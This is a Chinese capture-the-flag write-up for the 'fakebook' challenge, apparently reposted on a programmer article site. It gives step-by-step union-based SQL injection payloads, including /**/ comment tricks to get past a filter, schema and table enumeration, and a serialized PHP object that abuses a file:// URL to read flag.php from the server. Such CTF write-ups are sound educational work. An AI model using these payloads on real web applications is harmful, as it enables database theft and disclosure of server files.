fakebook(攻防世界) (正则+robots+sql+绕过)
2022/2/23 19:22:00
本文主要是介绍fakebook(攻防世界) (正则+robots+sql+绕过),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
fakebook(攻防世界)
1)
2)扫描下可以找到有robots.txt
3)输入/user.php.bak发现一个PHP文本,是说创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://(可有可无),然后是数字和字符,加一个. 然后是2-6个字母
4)创建个用户,主要注意blog
5)注册成功返回
6)点开aaa
7)url中有no=1,尝试or'1'='1注入,存在注入后
order by 4#
8)只有列为4不报错,存在4个字段
/**/union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata #
9)查看数据库,发现union select被过滤了,/**/可以绕过,获取到数据库:
fakebook,information_schema,mysql,performance_schema,test
10)查看表名,只有一个表:users
/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
11)获取字段
/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"#
12)在几个字段里面,获取data的数据
/**/union/**/select 1,group_concat(data),3,4 from users#
13)发现我们注册信息被序列化,看了一下网上的wp,发现他们在扫描目录的时候,有一个flag.php在/var/www/html里面,构造反序列化语句
14)采用构造file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径)
/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:14;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
15)打开源代码
16)直接点一下(或者把base64后的进行base64解码)
这篇关于fakebook(攻防世界) (正则+robots+sql+绕过)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-09-11正则表达式学习:入门指南与实践技巧
- 2024-08-15正则表达式入门:基础教程与实践指南
- 2024-01-0939. 干货系列从零用Rust编写负载均衡及代理,正则及格式替换
- 2024-01-08如何编写高效的正则表达式?
- 2023-12-29"Matlab中的正则表达式:强大而灵活的工具"
- 2023-09-30这个正则 为啥同样的单号第二个就提取不出来?
- 2023-06-086.2 re 正则表达式
- 2023-06-06将字符串里的\x01,\x02这些替换掉用正则表达式无效?
- 2023-05-24正则表达式详解
- 2023-05-17我让gpt写了一段正则表达式代码,可是运行报错,可以帮忙看看哪里出了问题?